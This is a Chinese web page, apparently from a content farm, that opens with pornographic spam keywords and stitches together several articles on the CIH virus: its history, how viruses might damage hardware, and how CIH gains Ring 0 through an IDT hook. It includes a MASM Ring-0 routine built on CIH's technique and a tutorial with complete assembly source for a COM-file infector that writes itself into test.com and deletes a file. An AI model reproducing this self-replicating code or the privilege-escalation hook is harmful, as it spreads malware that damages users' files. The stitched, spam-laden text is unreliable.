av手机免费在线观看,国产女人在线视频,国产xxxx免费,捆绑调教一二三区,97影院最新理论片,色之久久综合,国产精品日韩欧美一区二区三区

計(jì)算機(jī)硬件

CIH病毒是否可以破壞電腦硬件嗎

時(shí)間:2025-06-06 00:41:37 計(jì)算機(jī)硬件 我要投稿
  • 相關(guān)推薦

CIH病毒是否可以破壞電腦硬件嗎

  CIH病毒是否可以破壞電腦硬件嗎?下面請(qǐng)看小編娓娓道來(lái)。希望對(duì)大家有用。

CIH病毒是否可以破壞電腦硬件嗎

  CIH病毒的由來(lái)

  CIH首先在臺(tái)灣被發(fā)現(xiàn),根據(jù)臺(tái)北官方的報(bào)告,計(jì)算機(jī)病毒是由24歲的陳盈豪(Chen Ing-Halu)編制的,由于其名字第一個(gè)字母分別為C、I、H,所以這可能是計(jì)算機(jī)病毒名稱(chēng)的由來(lái)。

  CIH病毒的簡(jiǎn)介

  它是迄今為止發(fā)現(xiàn)的最陰險(xiǎn)的病毒之一。它發(fā)作時(shí)不僅破壞硬盤(pán)的引導(dǎo)區(qū)和分區(qū)表,而且破壞計(jì)算機(jī)系統(tǒng)flashBIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞。CIH病毒是發(fā)現(xiàn)的首例直接破壞計(jì)算機(jī)系統(tǒng)硬件的病毒。 CIH病毒的發(fā)展歷程

  CIH病毒v1.0版本:

  最初的V1.0版本僅僅只有656字節(jié),其雛形顯得比較簡(jiǎn)單,與普通類(lèi)型的病毒在結(jié)構(gòu)上并無(wú)多大的改善,其最大的"賣(mài)點(diǎn)"是在于其是當(dāng)時(shí)為數(shù)不多的、可感染Microsoft Windows PE類(lèi)可執(zhí)行文件的病毒之一, 被其感染的程序文件長(zhǎng)度增加,此版本的CIH不具有破壞性。

  CIH病毒v1.1版本:

  當(dāng)其發(fā)展到v1.1版本時(shí),病毒長(zhǎng)度為796字節(jié),此版本的CIH病毒具有可判斷WinNT軟件的功能,一旦判斷用戶(hù)運(yùn)行的是WinNT,則不發(fā)生作用,進(jìn)行自我隱藏,以避免產(chǎn)生錯(cuò)誤提示信息,同時(shí)使用了更加優(yōu)化的代碼,以縮減其長(zhǎng)度。此版本的CIH另外一個(gè)優(yōu)秀點(diǎn)在于其可以利用WIN PE類(lèi)可執(zhí)行文件中的"空隙",將自身根據(jù)需要分裂成幾個(gè)部分后,分別插入到PE類(lèi)可執(zhí)行文件中,這樣做的優(yōu)點(diǎn)是在感染大部分WINPE類(lèi)文件時(shí), 不會(huì)導(dǎo)致文件長(zhǎng)度增加。 CIH病毒v1.2版本:

  當(dāng)其發(fā)展到v1.2版本時(shí),除了改正了一些v1.1版本的缺陷之外,同時(shí)增加了破壞用戶(hù)硬盤(pán)以及用戶(hù)主機(jī) BIOS程序的代碼,這一改進(jìn),使其步入惡性病毒的行列,此版本的CIH病毒體長(zhǎng)度為1003字節(jié)。

  CIH病毒v1.3版本:

  原先v1.2版本的CIH病毒最大的缺陷在于當(dāng)其感染ZIP自解壓包文件(ZIP self-extractors file)時(shí),將導(dǎo)致此ZIP壓縮包在自解壓時(shí)出現(xiàn):

  WinZip Self-Extractor header corrupt.

  Possible cause: disk or file transfer error.

  的錯(cuò)誤警告信息。v1.3版本的CIH病毒顯得比較倉(cāng)促,其改進(jìn)點(diǎn)便是針對(duì)以上缺陷的,它的改進(jìn)方法是:一旦判斷開(kāi)啟的文件是WinZip類(lèi)的自解壓程序,則不進(jìn)行感染。同時(shí),此版本的CIH病毒修改了發(fā)作時(shí)間。v1.3 版本的CIH病毒長(zhǎng)度為1010字節(jié)。

  CIH病毒v1.4版本:

  此版本的CIH病毒改進(jìn)上上幾個(gè)版本中的缺陷,不感染ZIP 自解壓包文件,同時(shí)修改了發(fā)作日期及病毒中的版權(quán)信息(版本信息被更改為:"CIH v1.4 TATUNG",在以前版本中的相關(guān)信息為"CIH v1.x TTIT"),此版本的長(zhǎng)度為1019字節(jié)。

  從上面的說(shuō)明中,我們可以看出,實(shí)際上,在CIH的相關(guān)版本中,只有v1.2、v1.3、v1.4這3 個(gè)版本的病毒具有實(shí)際的破壞性,其中v1.2版本的CIH病毒發(fā)作日期為每年的4月26日,這也就是當(dāng)前最流行的病毒版本,v1.3 版本的發(fā)作日期為每年的6月26日,而CIH v1.4版本的發(fā)作日期則被修改為每月的26日,這一改變大大縮短了發(fā)作期限,增加了其的破壞性。CIH的特征和行蹤

  來(lái)自權(quán)威部門(mén)的消息說(shuō),CIH是一個(gè)純粹的Windows95/98病毒,這個(gè)病毒很獨(dú)特地使用了 WindowsVxD(虛擬設(shè)備驅(qū)動(dòng)程序)技術(shù);該病毒發(fā)作時(shí),硬盤(pán)一直轉(zhuǎn)個(gè)不停,所有數(shù)據(jù)都被破壞,硬盤(pán)分區(qū)信息也將丟失;再有就是 CIH病毒發(fā)作時(shí)也可能會(huì)破壞某些類(lèi)型的主板上的電可改寫(xiě)只讀存儲(chǔ)器(E2PROM)的BIOS。BIOS即電腦中的"基本輸入/輸出系統(tǒng)", 存放的是系統(tǒng)最基本的硬件參數(shù)和驅(qū)動(dòng)程序,一旦被破壞則系統(tǒng)根本無(wú)法啟動(dòng),唯一的修復(fù)途徑就是送回廠家重新燒入BIOS。此時(shí)如果用戶(hù)不想送回廠家"重?zé)?quot;,而使用BIOS升級(jí)軟件重新燒入BIOS,升級(jí)軟件將報(bào)告"E2PROM型號(hào)不對(duì)"的錯(cuò)誤。這就是說(shuō), CIH病毒已具備了對(duì)硬件的相當(dāng)破壞能力,它可以徹底摧毀計(jì)算機(jī)。 一般用戶(hù)都知道,傳統(tǒng)意義上的病毒破壞的是數(shù)據(jù)而非硬件。因此,經(jīng)常進(jìn)行數(shù)據(jù)備份與軟件更新,能夠一定程度上防止數(shù)據(jù)文件被病毒破壞,而且即使文件被傳染病毒,也可使用反病毒軟件加以清除,至少可以盡最大可能恢復(fù)系統(tǒng)。防病毒專(zhuān)家認(rèn)為,威脅到計(jì)算機(jī)硬件的 CIH的出現(xiàn),意味著病毒與反病毒的技術(shù)較量已開(kāi)始發(fā)生質(zhì)的改變。"根據(jù)初步跟蹤分析,CIH病毒是從海外傳入內(nèi)地的"北京冠群金辰軟件有限公司反病毒專(zhuān)家王鐵肩介紹說(shuō): "目前該病毒的傳播主要通過(guò)互聯(lián)網(wǎng)和電子郵件,當(dāng)然隨著時(shí)間的推移,其傳播主要還是通過(guò)軟盤(pán)或光盤(pán)。"據(jù)權(quán)威病毒搜集網(wǎng)獲得的信息, CIH病毒"原體"加"變種"一共有五種,它們的相互區(qū)別在于"原體"會(huì)使受感染文件增長(zhǎng),但不具破壞力;而"變種"不增長(zhǎng)受感染文件,但有很強(qiáng)的破壞性CIH 病毒原理的應(yīng)用--物理內(nèi)存的讀寫(xiě) Windows 95/98應(yīng)用程序無(wú)法直接讀寫(xiě)物理內(nèi)存,如果使用VxD編程,可以調(diào)用VMM功能_MapPhysToLinear 將物理地址映射到線(xiàn)性地址再進(jìn)行修改,但是這樣就必須單獨(dú)寫(xiě)一個(gè)VxD,比較麻煩,那么能不能在應(yīng)用程序中直接調(diào)用VMM功能呢?一般不能,因?yàn)閂MM功能要在Ring 0上調(diào)用,而一般的應(yīng)用程序工作在Ring 3上,那么為什么CIH 病毒能夠調(diào)用VMM功能呢,CIH病毒使用了一種技術(shù),采用Intel處理器的中斷從Ring 3轉(zhuǎn)到Ring 0,我們完全可以借鑒這種技術(shù)來(lái)調(diào)用VMM功能, 下面的程序演示了如何修改物理內(nèi)存--以在Windows 95加密程序中修改加密扇區(qū)大小(物理地址0000:0525H)為例:

  ;****************************************************************************

  ;* Windows 95加密軟件核心模塊之一--磁盤(pán)扇區(qū)大小修改程序 *

  ;* *

  ;* 本程序在Windows 95下修改內(nèi)存物理地址0000:0525 處的磁盤(pán)扇區(qū)大小字節(jié), *

  ;* 為了能夠修改物理地址,本程序使用了VMM 功能_MapPhysToLinear將物理地址映射 *

  ;* 到線(xiàn)性地址進(jìn)行修改。為了在應(yīng)用程序中調(diào)用VMM 功能,本程序使用了CIH 病毒的 *

  ;* 原理,使用中斷將系統(tǒng)由Ring 3轉(zhuǎn)到Ring 0,然后調(diào)用VMM 功能。 *

  ;* 本程序中的過(guò)程ChangeSectorSize在VC中的原型可以寫(xiě)成: *

  ;* *

  ;* void _stdcall ChangeSectorSize(BYTE SectorSize); *

  ;****************************************************************************

  .386p

  .model flat,stdcall

  ;修改的中斷號(hào),如果本中斷號(hào)改成3則可以防止Soft-ICE跟蹤!

  HookExceptionNo EQU 05h

  .data

  IDTR_1 db 6 dup(0) ;保存中斷描述符表寄存器

  OldExceptionHook dd 0 ;保存原先的中斷入口地址

  .code

  ;修改扇區(qū)大小過(guò)程

  ChangeSectorSize PROC SectorSize:BYTE

  push eax

  ;獲取修改的中斷的中斷描述符(中斷門(mén))地址

  sidt IDTR_1

  mov eax,dword ptr IDTR_1+02h

  add eax,HookExceptionNo*08h+04h

  cli

  ;保存原先的中斷入口地址

  push ecx

  mov ecx,dword ptr [eax]

  mov cx,word ptr [eax-04h]

  mov dword ptr OldExceptionHook,ecx

  pop ecx

  ;設(shè)置修改的中斷入口地址為新的中斷處理程序入口地址

  push ebx

  lea ebx,NewExceptionHook

  mov word ptr [eax-04h],bx

  shr ebx,10h

  mov word ptr [eax+02h],bx

  pop ebx

  ;執(zhí)行中斷,轉(zhuǎn)到Ring 0(與CIH 病毒原理相似!)

  push ebx

  mov bl,byte ptr SectorSize ;扇區(qū)大小保存在bl寄存器中

  int HookExceptionNo

  pop ebx

  ;恢復(fù)原先的中斷入口地址

  push ecx

  mov ecx,dword ptr OldExceptionHook

  mov word ptr [eax-04h],cx

  shr ecx,10h

  mov word ptr [eax+02h],cx

  pop ecx

  ;修改扇區(qū)大小過(guò)程結(jié)束

  sti

  pop eax

  ret

  ChangeSectorSize ENDP

  ;新的中斷處理程序

  NewExceptionHook PROC

  push eax

  push ebx

  push ecx

  push edx

  push esi

  ;修改扇區(qū)大小

  push dword ptr 00000000h ;必須為0

  push dword ptr 00000001h ;字節(jié)數(shù)

  push dword ptr 00000525h ;物理地址0000:0525

  int 20h

  dd 0001006ch ;以上兩條指令相當(dāng)于 VMMCall _MapPhysToLinear

  pop esi

  pop esi

  pop esi

  mov byte ptr [eax],bl ;修改扇區(qū)大小

  ;中斷處理程序結(jié)束

  pop esi

  pop edx

  pop ecx

  pop ebx

  pop eax

  iretd

  NewExceptionHook ENDP

  end

  本過(guò)程可以被C語(yǔ)言調(diào)用,編譯方法:ml /c /coff w95enc.asm。請(qǐng)用MASM 6.11以上版本編譯,不需要DDK。將編譯生成的OBJ文件插入VC的工程中,并在VC程序中寫(xiě)上函數(shù)原型說(shuō)明,就可以調(diào)用了。

  病毒是怎樣破壞硬件的

  最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波瀾。以前的各種病毒最多只能破壞硬盤(pán)數(shù)據(jù),而CIH 卻能侵入主板上的Flash BIOS,破壞其內(nèi)容而使主板報(bào)廢。CIH的教訓(xùn)告訴我們:不要輕視病毒對(duì)硬件的破壞。 很多人現(xiàn)在已經(jīng)開(kāi)始擔(dān)憂(yōu):CIH越來(lái)越兇猛,同時(shí)會(huì)不會(huì)有更多的破壞硬件的病毒出現(xiàn)?

  其實(shí),本人分析了一下。病毒破壞硬件的"手段",不外乎有以下幾種:

  1.破壞顯示器

  眾所周知,每臺(tái)顯示器都有自已的帶寬和最高分辨率、場(chǎng)頻。早期生產(chǎn)的14英寸彩色顯示器,帶寬大約只有35-45MHz,對(duì)應(yīng)的最高分辯率為1024×768@60Hz場(chǎng)頻;目前的14英寸彩色顯示器,帶寬大都有60MHz,對(duì)應(yīng)的最高分辨率為1024×768@75Hz場(chǎng)頻;15英寸彩色顯示器(高檔的),帶寬有110MHz,對(duì)應(yīng)的最高分辨率為1280×1024@85Hz場(chǎng)頻。大家可以查看一下顯示器的說(shuō)明書(shū),上面都有場(chǎng)頻與最高分辨率的配合。若其中有一項(xiàng)超過(guò),就會(huì)出現(xiàn)花屏,嚴(yán)重了就會(huì)燒壞顯示器。病毒可以通過(guò)篡改顯示參數(shù)來(lái)破壞顯示器(如把分辨率、場(chǎng)頻改到顯卡能支持的最高檔等)。雖然新型顯示器有DDC標(biāo)準(zhǔn)化與系統(tǒng)聯(lián)絡(luò),但病毒想鉆空子并不難。所以大家如果發(fā)現(xiàn)在使用過(guò)程中顯示器出現(xiàn)了花屏, 要立即關(guān)掉顯示器的電源,重新啟動(dòng)后進(jìn)入安全模式再找原因。

  2.超外頻、加電壓破壞CPU、顯卡、內(nèi)存等

  目前新型主板采用"軟跳線(xiàn)"的越來(lái)越多,這正好給病毒以可乘之機(jī)。所謂"軟跳線(xiàn)" 是指在BIOS中就能改動(dòng)CPU的電壓、外頻和倍頻。病毒可以通過(guò)改BIOS參數(shù),加高CPU電壓使其過(guò)熱而燒壞,或提高CPU的外頻,使CPU和顯卡、內(nèi)存等外設(shè)超負(fù)荷工作而過(guò)熱燒壞。這類(lèi)事件的前兆就是死機(jī)。所以,如果發(fā)現(xiàn)機(jī)器經(jīng)常死機(jī),就要趕緊到 CMOS中看看以上參數(shù)是否有改動(dòng)?上驳氖牵壳昂芏嘈鲁龅闹靼宥加蠧PU溫度監(jiān)測(cè)功能,超溫后立即降頻報(bào)警,可以基本杜絕燒壞硬件的情況發(fā)生。

  3.超"顯頻"破壞顯卡

  目前很多中高檔顯卡如Voodoo等都可以手動(dòng)改變其芯片的頻率,并且改的方法更簡(jiǎn)單:在Windows 9x注冊(cè)表里改。病毒改動(dòng)了"顯頻",顯卡也就容易超負(fù)荷工作而燒壞。這種事件的前兆也是死機(jī)。所以,死機(jī)時(shí)也不要忽視對(duì)"顯頻"的檢查。另外還有一種減少燒壞顯卡的可能性的辦法,那就是……(什么?你已經(jīng)安了兩個(gè)風(fēng)扇了!?)

  4.破壞光驅(qū)

  光驅(qū)中的光頭在讀不到信號(hào)時(shí)就會(huì)加大激光發(fā)射功率,這樣長(zhǎng)期下去對(duì)光驅(qū)的壽命極為不利。有人做實(shí)驗(yàn),讓正常的光驅(qū)不停的讀取一張劃痕很多,信號(hào)較弱的光盤(pán),28小時(shí)以后光驅(qū)就完蛋了。病毒可以讓光頭走到盤(pán)片邊緣無(wú)信號(hào)區(qū)域不停的讀盤(pán),結(jié)果光頭讀不到信號(hào),便加大發(fā)射功率不停地讀,要不了幾天,光驅(qū)就要"No Disc"了。 所以要經(jīng)常注意光驅(qū)燈的閃亮情況,判斷光驅(qū)是否在正常工作。

  5.破壞主板、顯卡的Flash BIOS

  這就是現(xiàn)在的CIH病毒破壞主板的方式。病毒用亂碼沖掉了BIOS中的內(nèi)容,使機(jī)器不能啟動(dòng)。 不過(guò)現(xiàn)在很多主板都有帶有Flash BIOS寫(xiě)保護(hù)跳線(xiàn),可以有效的防止CIH病毒破壞主板。但是不要忘了,很多顯卡也有Flash BIOS, 說(shuō)不定哪一天就會(huì)冒出一種破壞顯卡BIOS的病毒。所以還是小心一點(diǎn)為好,這可沒(méi)有什么特效藥啊!6.破壞硬盤(pán)

  大家都知道,分區(qū)、高級(jí)格式化對(duì)硬盤(pán)都沒(méi)有什么損傷,惟獨(dú)低級(jí)格式化對(duì)硬盤(pán)的壽命有較大的影響。據(jù)說(shuō)硬盤(pán)做上10次低級(jí)格式化就會(huì)報(bào)廢。如果出現(xiàn)一種病毒,不停的對(duì)硬盤(pán)的0磁道做低格式化(做10次最多只需用幾秒鐘!),0道壞了再做1道……你的硬盤(pán)容量就會(huì)一點(diǎn)一點(diǎn)(這一點(diǎn)好不小啊!)地被蠶食,而且0、1、2……道壞了,要想再使用該硬盤(pán),就得在BIOS中重新設(shè)定起始磁道,再低級(jí)格式化,非常麻煩。其實(shí),該病毒有一個(gè)非常簡(jiǎn)單而有效的預(yù)防方法,那就是將BIOS中的Boot Sector Virus Protection(引導(dǎo)區(qū)病毒寫(xiě)保護(hù))設(shè)為Enable(打開(kāi))。筆者做過(guò)實(shí)驗(yàn),將上述開(kāi)關(guān)打開(kāi)的情況下,使用各種低級(jí)格式化軟件(包括BIOS中自帶的)對(duì)硬盤(pán)進(jìn)行低格,BIOS都會(huì)報(bào)警(報(bào)告說(shuō)有程序企圖重寫(xiě)引導(dǎo)區(qū),問(wèn)是否繼續(xù)),按N就可以防止。要知道BIOS程序掌管著系統(tǒng)的最高控制權(quán), 應(yīng)該沒(méi)有什么東西可以沖破其防線(xiàn)(你按Y是另外一回事)。若發(fā)現(xiàn)上述情況,趕緊Reset,然后進(jìn)行殺毒不過(guò),如果你是在裝Win 98等操作系統(tǒng)或System Commander等軟件時(shí)碰到該情況,就大可不必理會(huì)它,困為這些軟件安裝時(shí)都有要重寫(xiě)引導(dǎo)區(qū)。不過(guò)勸你安裝這些軟件時(shí)最好先把寫(xiě)保護(hù)關(guān)掉,否則容易出現(xiàn)死機(jī)現(xiàn)象!

  7.浪費(fèi)噴墨打印機(jī)的墨水噴墨打印機(jī)的噴頭特別容易堵塞,為此打印機(jī)公司特別發(fā)明了專(zhuān)門(mén)浪費(fèi)墨水的"清洗噴頭"功能,即讓大量墨水沖出噴頭,清除雜物。這項(xiàng)功能可以用軟件控制實(shí)現(xiàn),于是乎病毒便神不知鬼不覺(jué)的一次次調(diào)用該功能,而你卻對(duì)打印機(jī)的呻吟聲卻聽(tīng)而不見(jiàn)。當(dāng)你發(fā)現(xiàn)時(shí),大量的墨已經(jīng)被浪費(fèi)了。這種病毒唯一的預(yù)防辦法就是……不用打印機(jī)時(shí)把打印機(jī)關(guān)了。

  其實(shí),只要你常注意一下打印機(jī)上的模式燈就可以了,清洗噴頭時(shí)它通常是一閃閃的。另外還要仔細(xì)傾聽(tīng)它的呻吟聲,清洗噴頭時(shí)打印頭總是要來(lái)回走動(dòng)幾下的(為了加熱)。 一口氣寫(xiě)了7條,其實(shí)大家心里明白,破壞硬件的歪點(diǎn)子多著呢!本文只是想為剛從CIH陰影中爬出的朋友提個(gè)醒:成功之路千萬(wàn)條(當(dāng)然是編病毒者的成功),打死CIH,還有后來(lái)者。千萬(wàn)要發(fā)揚(yáng)各種精神, 保護(hù)你的血汗錢(qián)筑成的電腦!

  另外,本文中幾乎每一條都有附預(yù)防辦法(雖然有些看起來(lái)像廢話(huà)),但這些辦法也不是萬(wàn)能的(還要注意不能顧此失彼),以后誰(shuí)的"雞"若被新病毒搞壞了,我可不負(fù)責(zé)任喲! CIH是使用什么方法進(jìn)行感染的? 就技巧而言,其原理主要是使用Windows的VxD(虛擬設(shè)備驅(qū)動(dòng)程序)編程方法,使用這一方法的目的是獲取高的CPU權(quán)限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中斷描述符表基地址),然后把IDT的INT 3的入口地址改為指向CIH自己的INT3程序入口部分,再利用自己產(chǎn)生一個(gè)INT 3指令運(yùn)行至此CIH自身的INT 3入口程序 出,這樣CIH病毒就可以獲得最高級(jí)別的權(quán)限(即權(quán)限0),接著病毒將檢查DR0寄存器的值是否為0,用以判斷先前是否有CIH病毒已經(jīng)駐留。

  如DR0的值不為0,則表示CIH病毒程式已駐留,則此CIH副本將恢復(fù)原先的INT 3入口,然后正常退出(這一特點(diǎn)也可以被我們利用來(lái)欺騙CIH程序,以防止它駐留在內(nèi)存中,但是應(yīng)當(dāng)防止其可能的后繼派生版本)。

  如果判斷DR0值為0,則CIH病毒將嘗試進(jìn)行駐留,其首先將當(dāng)前EBX寄存器的值賦給DR0寄存器,以生成駐留標(biāo)記,然后調(diào)用INT 20中斷,使用VxD call Page Allocate系統(tǒng)調(diào)用,要求分配Windows系統(tǒng)內(nèi)存(system memory),Windows系統(tǒng)內(nèi)存地址范圍為C0000000h~FFFFFFFFh,它是用來(lái)存放所有的虛擬驅(qū)動(dòng)程序的內(nèi)存區(qū)域, 如果程序想長(zhǎng)期駐留在內(nèi)存中,則必須申請(qǐng)到此區(qū)段內(nèi)的內(nèi)存,即申請(qǐng)到影射地址空間在C0000000h以上的內(nèi)存。

  如果內(nèi)存申請(qǐng)成功,則接著將從被感染文件中將原先分成多段的病毒代碼收集起來(lái),并進(jìn)行組合后放到申請(qǐng)到 的.內(nèi)存空間中,完成組合、放置過(guò)程后,CIH病毒將再次調(diào)用INT 3中斷進(jìn)入CIH病毒體的INT 3入口程序,接著調(diào)用INT20來(lái)完成調(diào)用一個(gè)IFSMgr_InstallFileSystemApiHook的子程序,用來(lái)在文件系統(tǒng)處理函數(shù)中掛接鉤子,以截取文件調(diào)用的操作,接著修改IFSMgr_InstallFileSystemApiHook的入口,這樣就完成了掛接鉤子的工作,同時(shí)Windows默認(rèn)的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。

  服務(wù)程序的入口地址將被保留,以便于CIH病毒調(diào)用,這樣,一旦出現(xiàn)要求開(kāi)啟文件的調(diào)用,則CIH將在第一時(shí)間截獲此文件,并判斷此文件是否為PE格式的可執(zhí)行文件,如果是,則感染,如果不是,則放過(guò)去,將調(diào)用轉(zhuǎn)接給正常的Windows IFSMgr_IO服務(wù)程序。CIH不會(huì)重復(fù)多次地感染PE格式文件,同時(shí)可執(zhí)行文件的只讀屬性是否有效,不影響感染過(guò)程,感染文件后,文件的日期與時(shí)間信息將保持不變。

  對(duì)于絕大多數(shù)的PE程序,其被感染后,程序的長(zhǎng)度也將保持不變,CIH 將會(huì)把自身分成多段,插入到程序的空域中。完成駐留工作后的CIH病毒將把原先的IDT中斷表中的INT 3入口恢復(fù)成原樣。病毒的編寫(xiě)是一種高深技術(shù),真正的病毒一般都具有:傳染性、隱藏性(又稱(chēng)潛伏性)、破壞性。現(xiàn)在的病毒種類(lèi)也不少,如平常的傳染可執(zhí)行文件的病毒、宏病毒等等。但原始的、破壞性最大的病毒還是傳染可執(zhí)行文件的病毒(像CIH病毒),而這些病毒一般都是用匯編語(yǔ)言編寫(xiě)的。有許多人對(duì)病毒有著好奇和向往,但是往往又因?yàn)閰R編語(yǔ)言的難學(xué)等問(wèn)題望而卻步。

  這篇文章就是教給大家如何制作一個(gè)簡(jiǎn)單的程序,這個(gè)程序雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。

  好啦,現(xiàn)在轉(zhuǎn)入正題,先講講病毒是如何傳染的,傳染后又如何在被染的文件中執(zhí)行的,其實(shí)道理非常簡(jiǎn)單:病毒一般將其代碼寫(xiě)入執(zhí)行文件的尾部,然后使執(zhí)行文件在執(zhí)行時(shí)先執(zhí)行文件尾部的病毒代碼,然后再跳回原代碼處執(zhí)行,F(xiàn)在舉一個(gè)試?yán)M(jìn)行說(shuō)明:

  ;功能:感染當(dāng)前文件夾的test.com文件

  ; 并刪除當(dāng)前文件夾的del.txt文件

  ; 顯示預(yù)設(shè)的字符串

  CSEG SEGMENT

  ASSUME CS:CSEG,DS:CSEG,SS:CSEG

  main PROC NEAR

  mainstart:

  CALL vstart ;病毒的代碼開(kāi)始處

  vstart:

  POP SI ;得到當(dāng)前地址

  MOV BP,SI ;保存當(dāng)前地址

  PUSH SI

  MOV AH,9

  ADD SI,OFFSET message-OFFSET vstart ;顯示預(yù)設(shè)字符串

  MOV DX,SI

  INT 21h

  POP SI

  ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個(gè)字節(jié)

  MOV DI,100h ;目的地址

  MOV AX,DS:[SI] ;開(kāi)始復(fù)制

  MOV DS:[DI],AX

  INC SI

  INC SI

  INC DI

  INC DI

  MOV AX,DS:[SI]

  MOV DS:[DI],AX

  MOV SI,BP ;恢復(fù)地址值

  MOV DX,OFFSET delname-OFFSET vstart

  ADD DX,SI

  MOV AH,41h

  INT 21h

  MOV DX,OFFSET filename-OFFSET vstart ;得到文件名

  ADD DX,SI

  MOV AL,02

  MOV AH,3dh ;寫(xiě)文件

  INT 21h

  JC error

  MOV BX,AX ;文件句柄

  MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個(gè)字節(jié)

  ADD DX,SI

  MOV CX,4

  MOV AH,3fh

  INT 21h

  MOV AX,4202h ;到文件尾

  XOR CX,CX

  XOR DX,DX

  INT 21h

  MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方

  ADD DI,2

  ADD DI,SI

  SUB AX,4

  MOV DS:[DI],AX

  ADD SI,OFFSET mainstart-OFFSET vstart ;準(zhǔn)備寫(xiě)入病毒

  MOV DX,SI

  MOV vsizes,OFFSET vends-OFFSET mainstart

  MOV CX,vsizes

  MOV AH,40h

  INT 21h

  MOV SI,BP ;定位到文件頭

  MOV AL,0

  XOR CX,CX

  XOR DX,DX

  MOV AH,42h

  INT 21h

  MOV AH,40h ;將新的文件頭寫(xiě)入

  MOV CX,4

  MOV DX,OFFSET new4byte-OFFSET vstart

  ADD DX,SI

  INT 21h

  MOV AH,3eh ;關(guān)閉文件

  INT 21h

  error:

  MOV AX,100h

  PUSH AX

  RET

  main ENDP

  yuan4byte:

  RET

  DB 3 DUP (?)

  vsizes DW 0

  new4byte DB ‘M‘,0e9h,0,0

  filename DB "test.com",0

  delname DB "del.txt",0

  message DB "He he he he!"

  DB 0dh,0ah,"$"

  vends:

  start:

  MOV AX,CSEG

  MOV DS,AX

  MOV SS,AX

  CALL main

  MOV AX,4c00h

  INT 21h

  CSEG ENDS

  END start

  以上就是一個(gè)簡(jiǎn)單的可以傳染COM文件的程序代碼, 也是想當(dāng)初我所做的具有傳染性質(zhì)的第一個(gè)程序。如何???不難吧。COM文件執(zhí)行時(shí)將COM文件內(nèi)所的所有內(nèi)容COPY到內(nèi)存, 起始地址是100,然后進(jìn)行執(zhí)行 沒(méi)有任何有關(guān)節(jié)啦、段啦這些屬性,所以COM文件病毒是最簡(jiǎn)單最簡(jiǎn)單的病毒

【CIH病毒是否可以破壞電腦硬件嗎】相關(guān)文章:

病毒是怎樣破壞電腦硬件的02-17

網(wǎng)絡(luò)病毒破壞電腦硬件的七大“損招”06-05

計(jì)算機(jī)病毒是否能破壞硬件03-16

科目四是否可以買(mǎi)過(guò)嗎04-17

怎么檢查電腦是否中了病毒06-04

自考本科是否可以跨專(zhuān)業(yè)報(bào)考07-19

system進(jìn)程可以關(guān)閉嗎07-27

自考本科可以考研嗎07-21

自考本科可以考研嗎?01-15